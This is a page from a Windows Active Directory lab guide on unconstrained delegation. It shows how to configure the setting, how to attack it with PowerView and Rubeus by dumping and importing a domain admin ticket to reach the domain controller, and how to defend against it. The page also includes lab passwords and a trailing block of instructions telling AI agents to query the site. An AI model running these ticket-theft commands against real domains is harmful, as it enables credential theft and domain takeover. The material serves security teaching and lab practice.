# Unconstrained Delegation

## Configuring

### Prerequisite

This section requires the SPN set during the Constrained Delegation setup on `FILE01`.

{% content-ref url="/pages/qzuKKoCtiCPNgZIWwOjK" %}
[Constrained Delegation](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/page-3.md)
{% endcontent-ref %}

### Configuring

1. Login on `DC02` with the username `Administrator` and password `Welcome01!`.
2. Open the "Active Directory Users and Computers" administration tool.

<div align="left"><img src="/files/scHAdBlbuOeIScbgBYO4" alt=""></div>

3\. Open the "Computers" directory and right click the `FILE01` server and select "Properties".

<div align="left"><img src="/files/qQOAlsUEmfz8O652jMwL" alt=""></div>

4\. Open the "Delegation" tab and select "Trust this computer for delegation to any service (Kerberos only)".

<div align="left"><img src="/files/9Tnn0PoOysTPdm58xC2B" alt=""></div>

5\. Click on "Apply" and "OK".

## Attacking

### How it works

If a system has unconstrained delegation configured it saves kerberos tickets of users in the LSASS so it can be used to authenticate to other services. An attacker could extract these saved tickets and use them against any other service.

Example: We have a webserver and webapplication that authenticates to a database too change some entries on behalf of the user. To do this kerberos unconstrained delegation is configured on the webserver.

### Tools

* [Rubeus](https://github.com/GhostPack/Rubeus)

### Executing the attack

The attack will start from the perspective of already owning the `FILE01` server from the constrained delegation abuse.

{% content-ref url="/pages/qzuKKoCtiCPNgZIWwOjK" %}
[Constrained Delegation](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/page-3.md)
{% endcontent-ref %}

1. Login to `WS01` as Richard with the password `Sample123`.
2. Start PowerShell and download and execute an amsi and PowerView in memory:

<div align="left"><img src="/files/6XhWNGYwX78zVebYoOJ9" alt=""></div>

3\. Execute the following PowerView Query to retrieve all domain computers which have unconstrained delegation and only print the samaccountnames:

```
 Get-DomainComputer -UnConstrained | select samaccountname
```

<div align="left"><img src="/files/cXAbjOBBYVLMQuom663e" alt=""></div>

4\. There are two systems with unconstrained delegation. One which is the domain controller, which always had unconstrained delegation. The other is `FILE01`. Since we got access to this system we can check if there are any tickets onto the system with Rubeus.

<div align="left"><img src="/files/bSOZVqxVHorWAzTB9COt" alt=""></div>

{% hint style="info" %}
To simulate that unconstrained delegation is configured with a purpose we need to login to the FILE01 server as the administrator user. This will make sure that there are TGT tickets on the system available.
{% endhint %}

5\. There is a TGT ticket from the domain administrator, we can dump this using the following Rubeus command.

```
./Rubeus.exe dump /luid:0x85e21db /service:krbtgt nowrap
```

![](/files/0xzJHIoDf6s1lQBfe0Da)

6\. Then on `WS01` we can import this ticket with the following Rubeus command:

```
.\Rubeus.exe ptt /ticket:doIGJjCCBiKgAwIBBaEDAgEWooIFDDCCBQhhggUEMIIFAKADAgEFoRYbFEFNU1RFUkRBTS5CQU5LLkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRBTVNURVJEQU0uQkFOSy5MT0NBTKOCBLQwggSwoAMCARKhAwIBAqKCBKIEggSeLvYfqx+JLe3OpL+cLMBjcj0PsyRXSFqcB7nrBmlzK+vT8JWlhbwTUbc/gDr+cFJlEdYgCJt3pOISNYTPvohuPlTSipedBch/6Bq2sdN4BtSqFOB5wYjrjgVlRcpN0PF9FgaLwlhLzDz8lncF7zy4CW7Qr39QDrBZ/5EMMDR/zSOgw2nFGALAnRxEr8dAIpvxr7vYmB8oTBtl9bpLlR07EsrP2v5tFZrVCfMbLJArvIjX7TgcADivfT0bLfYt1BoZk0XC34mqCZjxChOHnhYwrAinpAhjs3c6um7h422ubj0q4ul0aWAsLMtNoEwSeXztP2Vng9Kg89bPCYTo+DXVciDpEthI5ZZIliT/tss+B5aH//cF7sVcmHXAK8QpGUwXvpSVUtadk95GOaRwNIZcw3BLev1B9+DIecHRLLeP6J3ApRrPdne8Ag69AXxV8dwLoQx1WMoSlOM4o5Nfq57YfigeTId2meIsba8ATtrK0znmwkzHUW3xK8ADhuaqVKzJHxg9Mwt2zCt6mrG2mFsmdc0u8llZdhSPGpkh2OPh2/47qc06qe7HIa3RaxZsiJ1O8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mKwgjmnkmkTuPvjuV1mJ7r9azaEWGxRBTVNURVJEQU0uQkFOSy5MT0NBTKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEDhAAClERgPMjAyMjA2MjkxNjMxMzBaphEYDzIwMjIwNjMwMDIzMTMwWqcRGA8yMDIyMDcwNjE2MzEzMFqoFhsUQU1TVEVSREFNLkJBTksuTE9DQUypKTAnoAMCAQKhIDAeGwZrcmJ0Z3QbFEFNU1RFUkRBTS5CQU5LLkxPQ0FM
```

![](/files/z0xdBspxbvcqHyEUFDOa)

7\. After importing the ticket we can simply create a pssession to the DC or execute a DC sync attack.

```
Enter-PSSeession dc02.amsterdam.bank.local
```

<div align="left"><img src="/files/ZUOkhq66CxE8VHx6N4tT" alt=""></div>

## Defending

### Recommendations

* Tightly secure and monitor the user of AD objects with delegation set.
  * Set strong passwords and rotate them periodically.
  * Limit logons to systems.
  * Harden the systems these accounts are used.
* Add the flag "this account is sensitive and cannot be delegated"
* Add all high privileged accounts to the protected users group.

{% content-ref url="/pages/iMFADnHkMGydBbaHUAgT" %}
[Protected users group](/building-a-windows-ad-lab/defence/hardening/protected-users-group.md)
{% endcontent-ref %}

### Detection

## References

{% embed url="<https://github.com/GhostPack/Rubeus>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/unconstrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
